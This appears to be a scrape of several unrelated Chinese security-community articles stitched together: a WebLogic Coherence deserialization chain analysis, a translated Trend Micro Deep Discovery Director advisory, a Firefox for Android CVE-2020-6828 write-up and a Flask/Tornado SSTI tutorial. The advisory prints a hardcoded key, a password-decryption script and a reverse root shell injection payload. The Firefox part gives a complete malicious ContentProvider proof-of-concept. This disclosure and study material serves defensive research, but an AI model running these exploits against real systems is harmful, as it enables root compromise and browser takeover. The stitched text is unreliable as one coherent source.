weblogic 对于反序列化类的过滤都是在加载类时进行的，因此在
`ExternalizableHelper.readExternalizableLite` 中加载的 class 是不受黑名单限制的。
<https://images.seebug.org/content/images/2021/08/11/1628653083000-image-20210730135848902.png-w331s>
具体原因是：weblogic 黑名单是基于 jep 290 ，jep 290 是在 `readObject`
的时候，在得到类名后去检查要反序列化的类是否是黑名单中的类。而这里直接使用的 `loadClass` 去加载类，所以这里不受 weblogic
黑名单限制。（也可以这么理解： jep 290 是针对在反序列化的时候，通过对要加载类进行黑名单检查。而这里直接通过 `loadClass`
加载，并没有通过反序列化，和反序列化是两码事，当然在后续 `readExternal` 的时候还是受 weblogic
黑名单限制，因为走的是反序列化那一套）
weblogic
黑名单机制可以参考：<https://cert.360.cn/report/detail?id=c8eed4b36fe8b19c585a1817b5f10b9e>，<https://cert.360.cn/report/detail?id=0de94a3cd4c71debe397e2c1a036436f>，<https://www.freebuf.com/vuls/270372.html>
### 漏洞点
#### PartialResult
<https://images.seebug.org/content/images/2021/08/11/1628653083000-image-20210806191659163.png-w331s>
`com.tangosol.util.aggregator.TopNAggregator.PartialResult` 的 `readExternal`
会触发任意 `compartor.compare` 方法。
大致原理：
在 149 行会把comparator 作为参数传入 TreeMap 的构造函数中。
然后 153 行，会调用 this.add ,this.add 会调用 this.m_map.put 方法，也就是说调用了 TreeMap 的 put 方法，这就导致了 comparator.compare()的调用。
具体分析见：<https://mp.weixin.qq.com/s/E-4wjbKD-iSi0CEMegVmZQ>
然后调用 `comparator.compare` 就可以接到 `ExtractorComparator.compare` 那里去了，从而实现 rce 。
##### 涉及 CVE
###### CVE-2020-14756 （1月）
`ExternalizableHelper` 的利用第一次出现是在 CVE-2020-14756 中。利用的正是
`ExternalizableHelper` 的反序列化通过 `loadClass` 加载类，所以不受 weblogic
之前设置的黑名单的限制。具体利用可以参考：<https://mp.weixin.qq.com/s/E-4wjbKD-iSi0CEMegVmZQ>
CVE-2020-14756 的修复方法则是对 `readExternalizable` 方法传入的 `Datainput` 检查，如果是
`ObjectInputStream` 就调用 checkObjectInputFilter() 进行检查，`checkObjectInputFilter`
具体是通过 jep290 来检查的。
<https://images.seebug.org/content/images/2021/08/11/1628653083000-image-20210730135848902.png-w331s>
###### CVE-2021-2135 （4月）
上面补丁的修复方案 只是检查了 `DataInput` 为 `ObjectInputStream` 的情况, 却没有过滤其他 `DataInput` 类型
。
那我们只需要找其他调用 `readExternalizableit` 函数的地方,并且传入的参数不是 `ObjectInputStream`
就可以了。【`ObjectInputStream` 一般是最常见的,通常来说是 `readObject` =>`readObjectInternal`
=>`readExternalizableite` 这种链,也就是上游是常见的 `readObject`,
所以补丁就可能只注意到ObjectInputStream 的情况。】
所以CVE-2021-2135 绕过的方法就是设置传入 `readExternalizableite` 函数的参数类型为 `BufferInput`
来进行绕过。
`ExternalizableHelper` 中调用 `readObjectInternal` 的地方有两处,一处是
`readObjectInternal` , 另一处则是 `deserializeInternal` 。而 deserializeInternal 会先把
`DataInput` 转化为 `BufferInut` ：
<https://images.seebug.org/content/images/2021/08/11/1628653083000-image-20210725192343651.png-w331s>
所以只要找调用 `ExternalizableHelper .deserializeInternal` 的地方。
而 `ExternalizableHelper.fromBinary` （和 `ExternalizableHelper.readObject` 平级的关系
）里就调用了 `deserializeInternal` , 所以只需要找到一个地方用 来
`ExternalizableHelper.fromBinary` 来反序列化就可以接上后面的（CVE-2020-14756）利用链了。
然后就是找 调用了 `ExternalizableHelper.fromBinary` 的方法的地方。`SimpleBinaryEntry` 中的
`getKey` 和 `getValue`方法中存在 `ExternalizableHelper.fromBinary` 的调用，所以就只要找到调用
`getKey` 和 `getValue` 的地方就可以了。
<https://images.seebug.org/content/images/2021/08/11/1628653083000-image-20210806191959478.png-w331s>
然后在 `com.sun.org.apache.xpath.internal.objects.XString`重写的`equals`方法里调用了
`tostring` ，在 `tostring` 中调用了 `getKey` 方法。
`ExternalizableHelper#readMap` 中会调用 `map.put` ，`map.put` 会调用 `equals` 方法。
`com.tangosol.util.processor.ConditionalPutAll` 的 `readExteranl` 中调用了
`ExternalizableHelper#readMap` 方法。
然后再套上 `AttributeHolder` 链头就可以了。
具体可以参考：<https://mp.weixin.qq.com/s/eyZfAPivCkMbNCfukngpzg>
<https://images.seebug.org/content/images/2021/08/11/1628653083000-image-20210725194322960.png-w331s>
4月漏洞修复则是：
添加`simpleBianry` 到黑名单。
#### filterExtractor
`filterExtractor.reaExternal` 方法中的 `readAttributeAccessor()` 方法会直接 `new` 一个
`MethodAttributeAccessor` 对象。
<https://images.seebug.org/content/images/2021/08/11/1628653083000-image-20210730154428860.png-w331s>
<https://images.seebug.org/content/images/2021/08/11/1628653083000-image-20210730154447677.png-w331s>
随后在 `filterExtractor.extract` 函数中会因为调用
`this.attributeAccessor.getAttributeValueFromObject` 进而导致任意无参方法的调用。
<https://images.seebug.org/content/images/2021/08/11/1628653082000-image-20210730155415313.png-w331s>
##### 涉及 CVE
###### CVE-2021-2394 （4月）
<https://images.seebug.org/content/images/2021/08/11/1628653083000-image-20210730135848902.png-w331s>
在4月的补丁中，对 ois 的 `DataInput` 流进行了过滤，所以直接通过 `newInstance`
实例化恶意类的方式已经被阻止（CVE-2021-2135 通过 `bufferinputStream` 进行了绕过），所以需要重新寻找其他不在黑名单中的
`readExternal` 方法。
CVE-2021-2394 中就是利用 `filterExtractor.readExternal` 来进行突破。
具体可以参考：<https://blog.riskivy.com/weblogic-cve-2021-2394-rce%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/> 和
<https://www.cnblogs.com/potatsoSec/p/15062094.html>
### 触发点
`ExternalizableHelper.readExternal` 的触发点有 `ExternalizableHelper.readObject` 和
`ExternalizableHelper.fromBinary` 这两个。其中 CVE-2021-2135 则就是因为在 CVE-2020-14756
的修复方法中，只注意到了 `ExternalizableHelper.readObject`
，只在`ExternalizableHelper.readObject` 里面做了限制，但是没有考虑到
`ExternalizableHelper.fromBinary` 从而导致了绕过。
`ExternalizableHelper.readObject`可以利用
`com.tangosol.coherence.servlet.AttributeHolder`来触发，`com.tangosol.coherence.servlet.AttributeHolder`
实现了 `java.io.Externalizabe` 接口，并且他的`readExternal` 方法 调用了
`ExternalizableHelper.readObject(in)` 。
<https://images.seebug.org/content/images/2021/08/11/1628653084000-image-20210728172300444.png-w331s>
`ExternalizableHelper.fromBinary`
的触发则较为复杂一些，具体可以参考：<https://mp.weixin.qq.com/s/eyZfAPivCkMbNCfukngpzg>
# 后记
weblogic Coherence 反序列化漏洞很多都是相关联的，对于某个漏洞，很可能就是用到了之前一些漏洞的链子。其实不仅仅 weblogic
，java
其他反序列化链也是如此，很多情况都是一个链会用到其他链的一部分。所以在学习中，把一个组件或者一个库的漏洞总结起来一起分析还是比较重要的，最后希望这篇文章能帮助到其他一起学反序列化的朋友们。
# 参考
<https://nosec.org/home/detail/4524.html>
<https://cloud.tencent.com/developer/article/1740557>
<https://blog.riskivy.com/weblogic-cve-2021-2394-rce%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/>
<https://www.cnblogs.com/potatsoSec/p/15062094.html>
<https://cert.360.cn/report/detail?id=c8eed4b36fe8b19c585a1817b5f10b9e>
<https://cert.360.cn/report/detail?id=0de94a3cd4c71debe397e2c1a036436f>
<https://www.freebuf.com/vuls/270372.html>
<https://mp.weixin.qq.com/s/E-4wjbKD-iSi0CEMegVmZQ>
<https://mp.weixin.qq.com/s/eyZfAPivCkMbNCfukngpzg>
* * * | 社区文章 |
# 【漏洞分析】趋势科技Deep Discovery Director漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：coresecurity.com
原文地址：<http://www.coresecurity.com/advisories/trend-micro-deep-discovery-director-multiple-vulnerabilities>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
译者：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：140RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**漏洞信息**
类型：对OS命令中的特殊元素的处理不当[[CWE-78]](http://cwe.mitre.org/data/definitions/78.html)，使用硬编码密码键[[CWE-321]](http://cwe.mitre.org/data/definitions/321.html)，数据真实性验证不足[[CWE-345]](http://cwe.mitre.org/data/definitions/345.html)
影响：代码执行
远程利用：是的
本地利用：是的
CVE名称：[CVE-pending-assignment-1](http://cve.mitre.org/cgi-bin/cvename.cgi?name=pending-assignment-1)，[CVE-pending-assignment-2](http://cve.mitre.org/cgi-bin/cvename.cgi?name=pending-assignment-2)，[CVE-pending-assignment-3 ](http://cve.mitre.org/cgi-bin/cvename.cgi?name=pending-assignment-3)
**漏洞描述**
据趋势科技的网站称：
趋势科技Deep Discovery Director 1.1 [1]是一种预置型解决方案，可以完成Deep
Discovery各种应用的更新、升级和虚拟分析器映像，以及Deep Discovery应用的配置复制的集中调度。
我们在Deep Discovery Director应用程序的备份还原过程中发现了多个漏洞，攻击者可以利用这些漏洞访问管理控制台，并以root身份执行命令。
**受影响的软件包**
趋势科技Deep Discovery Director 1.1（Build 1241）
其他产品和版本夜可能会受到影响，但尚未经过测试。
**
**
**供应商信息，解决方案和解决方法**
趋势科技发布了以下重要补丁：
Deep Discovery Director 1.1 Critical Patch – Build 1249:
[http://downloadcenter.trendmicro.com/index.php?regs=NABU&clk=latest&clkv](http://downloadcenter.trendmicro.com/index.php?regs=NABU&clk=latest&clkv...)
**致谢**
这些漏洞是由Core Security Consulting Services公司的Maximiliano
Vidal研究发现的。本咨询信息的出版则需要感谢核心顾问团队的Alberto Solino的协调工作。
**技术说明/概念验证代码**
该预置型解决方案包含一个加固型的虚拟设备，除了Web管理控制台之外，没有提供其他远程访问功能。对该虚拟机具有本地访问权限的用户被绑定到一个预配置的控制台中，管理员可从该控制台完成初始的网络设置。同时，Shell访问是不允许的。
该Web管理控制台由来自nginx的一个Flask应用程序组成。
下面部分将介绍在备份/恢复机制中发现的安全问题，以及如何以root身份获取代码执行权限的细节。请注意，这些操作的前提是，假定攻击者已经在Web控制台中通过了相应的身份验证。
**没有对备份进行验证**
[CVE-pending-assignment-3]，对于配置和数据库备份存档，除了必须使用在所有设备上都是静态的硬编码密码进行加密（更多详细信息，请参阅7.2）之外，没有对其进行任何形式的签名或验证处理。这意味着应用程序可以尝试恢复修改过的存档。
**硬编码存档密码**
[CVE-pending-assignment-2]，发现备份存档的加密过程中，都使用了一个在多处测试安装中默认的静态密码来加密的，也就是说，在所有虚拟设备实例中都使用了相同的密码。
BackupManager类详细阐释了这些归档的生成方式：
class BackupManager(object):
[...]
_AES_KEY = '9DBD048780608B843A0294CD'
def __init__(self, is_manual = False, file_struct = None, target_partition = None, config_ini = None, config_db = None, config_systemfile = None, agent_file = None, meta_file = None, backup_path = None, backup_zip = None, backup_pw = None, restore_path = None, restore_statusfile = None):
[...]
decryptor = AESCipher(self._AES_KEY)
self.backup_pw = backup_pw if backup_pw else decryptor.decrypt(RESTORE_ZIP_PW)
[...]
backup_pw可以通过backup_ddd方法生成归档文件：
@with_file_lock(LOCK_UPDATE_IN_PROGRESS, blocking=False)
@check_shutdown
def backup_ddd(self):
LOG.debug('Start to backup DDD')
[...]
os.chdir(tmp_backup_fd)
filelist = [ f for f in os.listdir('./') ]
compress_file(self.backup_zip, filelist, password=self.backup_pw, keep_directory=True)
此外，它还可以用来解密存档：
@with_file_lock(LOCK_UPDATE_IN_PROGRESS, blocking=False)
@check_shutdown
def upload_package(self, stream, file_name):
if not self._extract_meta(self.restore_zip):
LOG.debug('Failed to extract meta')
self._clean_uploaded_package()
update_status(status=self.STATUS_FAIL, error=RESTORE_INVALID_PACKAGE.code)
raise PBobServerCommonException(RESTORE_INVALID_PACKAGE)
[...]
def _extract_meta(self, restore_zip):
command = ['unzip',
'-P',
self.backup_pw,
'-p',
restore_zip,
self.meta_file]
fd = file(self.meta_fp, 'w')
p = subprocess.Popen(command, stdout=fd, stderr=subprocess.PIPE)
ret = p.wait()
fd.flush()
fd.close()
if ret != 0:
LOG.error('Fail to unzip meta file. ret: {}, stderr:[{}]'.format(ret, p.stderr))
ret = False
else:
ret = True
return ret
RESTORE_ZIP_PW的具体定义位于common_modules / common / constants.pyc文件中，具体如下所示：
RESTORE_ZIP_PW = 'hZrMrlTvOhiM9GaDirYQ/HQ3JSalxGOXTsJDy9gde2Q='
密码可以使用以下脚本进行解密：
#!/usr/bin/env python
import base64
import sys
from Crypto import Random
from Crypto.Cipher import AES
class AESCipher(object):
def __init__(self, key):
self.key = key
def encrypt(self, raw):
pad = lambda s, bs: s + (bs - len(s) % bs) * chr(bs - len(s) % bs)
raw = pad(raw, 16)
iv = Random.new().read(AES.block_size)
cipher = AES.new(self.key, AES.MODE_CBC, iv)
return base64.b64encode(iv + cipher.encrypt(raw))
def decrypt(self, enc):
enc = base64.b64decode(enc)
iv = enc[:16]
cipher = AES.new(self.key, AES.MODE_CBC, iv)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]
return unpad(cipher.decrypt(enc[16:]))
# From backup_manager.pyc
_AES_KEY = '9DBD048780608B843A0294CD'
decryptor = AESCipher(_AES_KEY)
if len(sys.argv) == 2:
print "Decrypted: %s" % decryptor.decrypt(sys.argv[1])
$ python decrypt.py hZrMrlTvOhiM9GaDirYQ/HQ3JSalxGOXTsJDy9gde2Q=
Decrypted: BRpixiebob0101
**命令注入漏洞**
[[CVE-pending-assignment-1]](http://cve.mitre.org/cgi-bin/cvename.cgi?name=pending-assignment-1)，利用第7.1和7.2节中介绍的漏洞，攻击者可以创建有效备份存档，从而让该应用程序来去恢复它。这样的存档可以包含数据库内容，Web服务器证书等，但无法直接执行任意命令。
但是，代码中存在可以访问预配置控制台的帐户的命令注入漏洞。
备份还原过程中，需要调用方法_restore_textUI_accounts：
def _restore_textUI_accounts(self, tmp_restore_fd):
restore_path = '{}{}{}'.format(tmp_restore_fd, self.file_struct['accounts'], self.accounts_file)
if isfile(restore_path):
LOG.debug('Restore textUI accounts.')
with open(restore_path, 'r') as f:
backup_accounts = json.load(f)
LOG.debug('content:[{}]'.format(backup_accounts))
if 'textUI_accounts' in backup_accounts:
cipher = AESCipher(self._AES_KEY)
decryptor = AESCipher(self._AES_KEY)
with open('/etc/passwd', 'r') as f:
for line in f:
fields = line.split(':')
if fields[0] == 'root':
continue
account_to_compare = cipher.encrypt(fields[0])
if fields[6].strip('n') == '/opt/TrendMicro/Pixiebob/textUI/admin_shell' or account_to_compare in backup_accounts['textUI_accounts']:
LOG.debug('Remove user:[{}]'.format(fields[0]))
os.system('/usr/sbin/userdel --remove {}'.format(fields[0]))
for tui_account in backup_accounts['textUI_accounts']:
plain_account = decryptor.decrypt(tui_account)
plain_hash = decryptor.decrypt(backup_accounts['textUI_accounts'][tui_account])
if plain_account == 'root':
continue
LOG.debug('Restore user:[{}]'.format(plain_account))
os.system('/usr/sbin/useradd "{}"'.format(plain_account))
os.system('chsh -s "/opt/TrendMicro/Pixiebob/textUI/admin_shell" "{}"'.format(plain_account))
os.system("echo '{}:{}' | chpasswd -e".format(plain_account, plain_hash))
else:
LOG.debug('Could not find textUI accounts in backup account file, skip.')
else:
LOG.debug('No backup account file, skip.')
该方法首先会加载backup_accounts.json文件的内容，并检查'textUI_accounts'键。如果该属性存在的话，应用程序将通过它读取username:password对，并对其进行相应的处理。
在恢复从JSON文件读取的帐户之前，应用程序将调用/ usr / sbin / userdel命令删除由Deep Discovery
Director添加的系统帐户。那么如何识别这些账户呢？它们的特点是将shell设置为/ opt / TrendMicro / Pixiebob /
textUI / admin_shell或包含在JSON文件中。
最后，在for循环中再次遍历JSON内容（请参阅backup_accounts
['textUI_accounts']中的tui_account）。对于每个username:password对，可以首先使用7.2中的代码进行解密，然后通过/
usr / sbin / useradd命令添加到系统，将shell设置为admin_shell，并更新密码。
这些系统调用是有问题的，因为从备份文件获取的输入是在没有消毒的情况下提供的。
以system()的第一个调用为例：
os.system('/usr/sbin/useradd "{}"'.format(plain_account))
plain_account变量对应于要添加的用户名。 如果这个值设置为"; bash -i>＆/dev/tcp/192.168.0.4/8888 0>＆1;
echo "（包含引号），那么恢复进程将打开一个反向shell到192.168.0.4。
值得注意的是，这些操作是以root用户权限运行的，从而产生一个反向的root shell。
backup_accounts.json文件应具有以下格式：
{
"textUI_accounts": {
"username": "password hash"
}
}
Username可以设置为任何想要执行的命令，在这种情况下，它是反向shell的有效载荷。而密码的哈希值并不重要，因为我们并不想添加任何用户。
这些值需要使用第7.2节中介绍的“encrypt”函数进行加密。下面是一个将username设置为反向shell有效负载的示例恶意文件，具体如下所示：
{
"textUI_accounts": {
"hnOcMCXfxOivXziHo6BiFZJjLcwLoVw9o08YCETqbFd5dwaN0X0FdEhOKB+KTK1bvgZUxs685bxeRK8ZrkWfqGuWfZKBCAPU7DBzI+PbhPA=": "O6TCdUvIyaUrEFl8pnGTf4JTH5fKc4oinyga8gWZIPd7qGB0+IPk6n1J5GckvoCCht0pPxXwJ21INJAMZc38qRSAi27311eGKyF6VRWQ1IjK4bj9BNf0h95bdUJ9GhETfEuoTbyEpD7lP3I0Z2vJS2118DZozhCbgTGHPbP+Rx0="
}
}
这里可以使用7.2中显示的密码来创建恶意档案。一旦上传，恢复进程将执行注入的命令并产生一个shell。
$ nc -lv 8888
bash: no job control in this shell
# id
id
uid=0(root) gid=0(root) groups=0(root)
**参考资料**
[1] <http://docs.trendmicro.com/en-us/enterprise/deep-discovery-director.aspx> | 社区文章 |
# CVE-2020-6828：Firefox for Android任意文件覆盖漏洞分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
2020年4月，Mozilla[安全公告](https://www.mozilla.org/en-US/security/advisories/mfsa2020-13/#CVE-2020-6828)披露并修复了我在Firefox
68.5提交的一个漏洞，漏洞编号为CVE-2020-6828。攻击者可利用该漏洞覆盖Firefox私有目录中的文件，从而控制浏览器的任意配置项，如配置代理服务器，关闭同源策略等，造成等同与任意代码执行的危害。
## 漏洞原理
Firefox允许外部APP调用它打开`Content URI`。
<activity-alias android:label="Firefox" android:name=".App" android:targetActivity="org.mozilla.gecko.LauncherActivity">
<intent-filter android:priority="999">
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
<category android:name="android.intent.category.MULTIWINDOW_LAUNCHER"/>
<category android:name="android.intent.category.APP_BROWSER"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.BROWSABLE"/>
<category android:name="android.intent.category.DEFAULT"/>
<data android:scheme="file"/>
<data android:scheme="http"/>
<data android:scheme="https"/>
<data android:scheme="content"/>
<data android:mimeType="text/html"/>
<data android:mimeType="text/plain"/>
<data android:mimeType="application/xhtml+xml"/>
<data android:mimeType="image/svg+xml"/>
</intent-filter>
如果传入的URI是Content URI，会调用`org.mozilla.gecko.util.FileUtils.resolveContentUri`。
Intent parseUri = Intent.parseUri(string, 0);
if (FileUtils.isContentUri(string)) {
String resolveContentUri = FileUtils.resolveContentUri(getContext(), parseUri.getData());
if (!TextUtils.isEmpty(resolveContentUri)) {
geckoBundle2.putString("uri", resolveContentUri);
geckoBundle2.putBoolean("isFallback", true);
}
eventCallback.sendError(geckoBundle2);
return;
}
`resolveContentUri`会将Content URI转成File URI。
public static String resolveContentUri(Context context, Uri uri) {
String originalFilePathFromUri = ContentUriUtils.getOriginalFilePathFromUri(context, uri);
if (TextUtils.isEmpty(originalFilePathFromUri)) {
originalFilePathFromUri = ContentUriUtils.getTempFilePathFromContentUri(context, uri);
}
if (TextUtils.isEmpty(originalFilePathFromUri)) {
return originalFilePathFromUri;
}
return String.format("file://%s", originalFilePathFromUri);
}
重点看`getTempFilePathFromContentUri`，它调用了`getFileNameFromContentUri`来从ContentProvider中获取文件名，并将其和Cache目录拼接创建了一个文件，最后调用`copy`从ContentProvider中读取数据写入到该文件中。
public static String getTempFilePathFromContentUri(Context context, Uri uri) {
String fileNameFromContentUri = FileUtils.getFileNameFromContentUri(context, uri);
File file = new File(context.getCacheDir(), "contentUri");
boolean mkdirs = !file.exists() ? file.mkdirs() : true;
if (TextUtils.isEmpty(fileNameFromContentUri) || !mkdirs) {
return null;
}
File file2 = new File(file.getPath(), fileNameFromContentUri);
FileUtils.copy(context, uri, file2);
return file2.getAbsolutePath();
}
再来看`getFileNameFromContentUri`，它直接从ContentProvider获取`_display_name`作为文件名返回，没有进行任何处理。
public static String getFileNameFromContentUri(final Context context, final Uri uri) {
final ContentResolver cr = context.getContentResolver();
final String[] projection = {MediaStore.MediaColumns.DISPLAY_NAME};
String fileName = null;
try (Cursor metaCursor = cr.query(uri, projection, null, null, null);) {
if (metaCursor.moveToFirst()) {
fileName = metaCursor.getString(0);
}
} catch (Exception e) {
e.printStackTrace();
}
return fileName;
}
当恶意的ContentProvider返回的`_display_name`为`../evil`时，即可跳出Cache目录，导致任意文件覆盖。
## 如何利用
在Firefox的私有目录中有一个文件`/data/data/org.mozilla.firefox/files/mozilla/profiles.ini`，其中`PATH`为随机生成的用户目录。
[Profile0]
Name=default
Default=1
IsRelative=1
Path=irgc212v.default
[General]
StartWithLastProfile=1
在用户目录发现了一个文件`prefs.js`，内容如下：
// Mozilla User Preferences
// DO NOT EDIT THIS FILE.
//
// If you make changes to this file while the application is running,
// the changes will be overwritten when the application exits.
//
// To change a preference value, you can either:
// - modify it via the UI (e.g. via about:config in the browser); or
// - set it within a user.js file in your profile.
user_pref("android.not_a_preference.addons_active", "[\"[email protected]\",\"[email protected]\"]");
user_pref("android.not_a_preference.addons_disabled", "[]");
...
从文件的内容得知，可以在用户目录中写入一个`user.js`文件来修改浏览器的配置项。
创建一个恶意的ContentProvider并实现`query`和`openFile`方法。
@Override
public Cursor query(Uri uri, String[] strings, String s, String[] strings1, String s1) {
Log.d(TAG, "query: "+ Arrays.toString(strings));
String path = uri.getPath();
if (path.contains("user.js")) {
File payload = new File(getContext().getExternalCacheDir(), "user.js");
Log.d(TAG, "query: " + path);
String[] columnNames = new String[]{"_display_name", "_size"};
MatrixCursor matrixCursor = new MatrixCursor(columnNames, 1);
matrixCursor.addRow(new Object[]{"../../files/mozilla/user.js", payload.length()});
return matrixCursor;
} else if (path.contains("profiles.ini")) {
File payload = new File(getContext().getExternalCacheDir(), "profiles.ini");
Log.d(TAG, "query: " + path);
String[] columnNames = new String[]{"_display_name", "_size"};
MatrixCursor matrixCursor = new MatrixCursor(columnNames, 1);
matrixCursor.addRow(new Object[]{"../../files/mozilla/profiles.ini", payload.length()});
return matrixCursor;
}
return null;
}
@Override
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
Log.d(TAG, "openFile: "+uri.toString());
String path = uri.getPath();
if (path.contains("user.js")) {
File payload = new File(getContext().getExternalCacheDir(), "user.js");
return ParcelFileDescriptor.open(payload, ParcelFileDescriptor.MODE_READ_ONLY);
} else if (path.contains("profiles.ini")) {
File payload = new File(getContext().getExternalCacheDir(), "profiles.ini");
return ParcelFileDescriptor.open(payload, ParcelFileDescriptor.MODE_READ_ONLY);
}
return null;
}
然后调用Firefox打开Content URI。
Intent intent = new Intent();
intent.setPackage("org.mozilla.firefox");
intent.setAction(Intent.ACTION_VIEW);
intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
intent.setDataAndType(Uri.parse("content://com.app.poc/user.js"), "*/*");
startActivity(intent);
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
intent.setDataAndType(Uri.parse("content://com.app.poc/profiles.ini"), "*/*");
startActivity(intent);
第一步，先覆盖`/data/data/org.mozilla.firefox/files/mozilla/profiles.ini`文件，将用户目录`PATH`修改为`/data/data/org.mozilla.firefox/files/mozilla/`。
[Profile0]
Name=default
Default=1
IsRelative=1
Path=.
[General]
StartWithLastProfile=1
第二步，在`/data/data/org.mozilla.firefox/files/mozilla/`目录写入一个`user.js`文件，即可控制浏览器的任意配置项（具体配置可参见`about:config`），如写入以下内容就可以关闭File下的同源策略。
user_pref("security.fileuri.strict_origin_policy", false);
## 漏洞修复
Firefox
68.7在FileUtils新增了`sanitizeFilename`方法，通过`File.getName`来对文件名进行清洗，解决了目录遍历的问题。
## 时间线
* 2020-02-25 – 漏洞提交
* 2020-03-02 – 漏洞确认
* 2020-03-16 – 漏洞修复&赏金发放
* 2020-04-07 – 发布安全公告和漏洞编号 | 社区文章 |
## 原理
~~顾名思义，服务端模板注入，就是通过在 **服务端** 的 **模板文件** 或 **模板字符串**
中注入特定的恶意代码导致产生代码执行的一种漏洞攻击方式。~~
不同的模板引擎，根据不同的解析方式相应的也是存在不同的利用方法。
正常而言，出于安全考虑，模板引擎基本上都是拥有沙盒、命名空间的，代码的解析执行都是发生在有限的沙盒里面，因此，沙盒逃逸也成为 SSTI 不可或缺的存在。
## Python Web 模板引擎
* [x] Jinja2
* [x] Tornado.template
* [ ] Django.template
* ...
### SSTI in Tornado
Tornado 中模板渲染函数在有两个
* render
* render_string
**tornado/web.py:**
class RequestHandler(object):
....
def render(self, template_name, **kwargs):
...
html = self.render_string(template_name, **kwargs)
...
return self.finish(html)
def render_string(self, template_name, **kwargs):
template_path = self.get_template_path()
...
with RequestHandler._template_loader_lock:
if template_path not in RequestHandler._template_loaders:
loader = self.create_template_loader(template_path)
RequestHandler._template_loaders[template_path] = loader
else:
loader = RequestHandler._template_loaders[template_path]
t = loader.load(template_name)
namespace = self.get_template_namespace()
namespace.update(kwargs)
return t.generate(**namespace)
def get_template_namespace(self):
namespace = dict(
handler=self,
request=self.request,
current_user=self.current_user,
locale=self.locale,
_=self.locale.translate,
pgettext=self.locale.pgettext,
static_url=self.static_url,
xsrf_form_html=self.xsrf_form_html,
reverse_url=self.reverse_url
)
namespace.update(self.ui)
return namespace
**render_string** :通过模板文件名加载模板，然后更新模板引擎中的命名空间，添加一些全局函数或其他对象，然后生成并返回渲染好的 html内容
**render** :依次调用`render_string`及相关渲染函数生成的内容，最后调用 finish 直接输出给客户端。
我们跟进模板引擎相关类看看其中的实现。
**tornado/template.py**
class Template(object):
...
def generate(self, **kwargs):
namespace = {
"escape": escape.xhtml_escape,
"xhtml_escape": escape.xhtml_escape,
"url_escape": escape.url_escape,
"json_encode": escape.json_encode,
"squeeze": escape.squeeze,
"linkify": escape.linkify,
"datetime": datetime,
"_tt_utf8": escape.utf8, # for internal use
"_tt_string_types": (unicode_type, bytes),
"__name__": self.name.replace('.', '_'),
"__loader__": ObjectDict(get_source=lambda name: self.code),
}
namespace.update(self.namespace)
namespace.update(kwargs)
exec_in(self.compiled, namespace)
execute = namespace["_tt_execute"]
linecache.clearcache()
return execute()
在上面的代码中，我们很容易看出命名空间namespace中有哪些变量、函数的存在。其中， **handler** 是一个神奇的存在。
**tornado/web.py:**
class RequestHandler(object):
....
def __init__(self, application, request, **kwargs):
super(RequestHandler, self).__init__()
self.application = application
self.request = request
在`RequestHandler`类的构造函数中，可以看到`application`的赋值。
**tornado/web.py:**
class Application(ReversibleRouter):
....
def __init__(self, handlers=None, default_host=None, transforms=None,
**settings):
...
self.wildcard_router = _ApplicationRouter(self, handlers)
self.default_router = _ApplicationRouter(self, [
Rule(AnyMatches(), self.wildcard_router)
])
class _ApplicationRouter(ReversibleRuleRouter):
def __init__(self, application, rules=None):
assert isinstance(application, Application)
self.application = application
super(_ApplicationRouter, self).__init__(rules)
因此，通过`handler.application`即可访问整个Tornado。
简单而言通过`{{handler.application.settings}}`或者`{{handler.settings}}`就可获得`settings`中的
**cookie_secret** 。
例题：[护网杯 2018 WEB (1)
easy_tornado](https://github.com/CTFTraining/huwangbei_2018_easy_tornado)
另外，跟进`exec_in`中也有新发现。
**tornado/util.py:**
def exec_in(code, glob, loc=None):
# type: (Any, Dict[str, Any], Optional[Mapping[str, Any]]) -> Any
if isinstance(code, basestring_type):
# exec(string) inherits the caller's future imports; compile
# the string first to prevent that.
code = compile(code, '<string>', 'exec', dont_inherit=True)
exec(code, glob, loc)
这里用到了 **compile** 和 **exec**
### SSTI in Flask
Flask 中模板渲染函数也是有两个
* render_template
* render_template_string
Flask使用的是 Jinja2 模板引擎
**flask/templating.py**
def _default_template_ctx_processor():
"""Injects `request`,`session` and `g`."""
reqctx = _request_ctx_stack.top
appctx = _app_ctx_stack.top
rv = {}
if appctx is not None:
rv['g'] = appctx.g
if reqctx is not None:
rv['request'] = reqctx.request
rv['session'] = reqctx.session
return rv
def _render(template, context, app):
before_render_template.send(app, template=template, context=context)
rv = template.render(context)
template_rendered.send(app, template=template, context=context)
return rv
def render_template(template_name_or_list, **context):
ctx = _app_ctx_stack.top
ctx.app.update_template_context(context)
return _render(ctx.app.jinja_env.get_or_select_template(template_name_or_list),
context, ctx.app)
def render_template_string(source, **context):
ctx = _app_ctx_stack.top
ctx.app.update_template_context(context)
return _render(ctx.app.jinja_env.from_string(source),
context, ctx.app)
**render_template** :通过模板文件加载内容并进行渲染
**render_template_string** :直接通过模板字符串进行渲染
这上下文、栈啥的看的有点懵，也不深入了。（有兴趣自行了解）
接着，我们看看 Flask 是怎么加载 Jinja2 的。`app.jinja_env`
**flask/app.py**
class Flask(_PackageBoundObject):
...
jinja_environment = Environment
...
jinja_options = ImmutableDict(
extensions=['jinja2.ext.autoescape', 'jinja2.ext.with_']
)
...
@locked_cached_property
def jinja_env(self):
return self.create_jinja_environment()
...
def create_jinja_environment(self):
options = dict(self.jinja_options)
rv = self.jinja_environment(self, **options)
rv.globals.update(
url_for=url_for,
get_flashed_messages=get_flashed_messages,
config=self.config,
request=request,
session=session,
g=g
)
rv.filters['tojson'] = json.tojson_filter
return rv
这里我们可以看见`jinja_environment`中有6个全局变量，也就是说在模板引擎的解析环境中可以访问这6个对象。
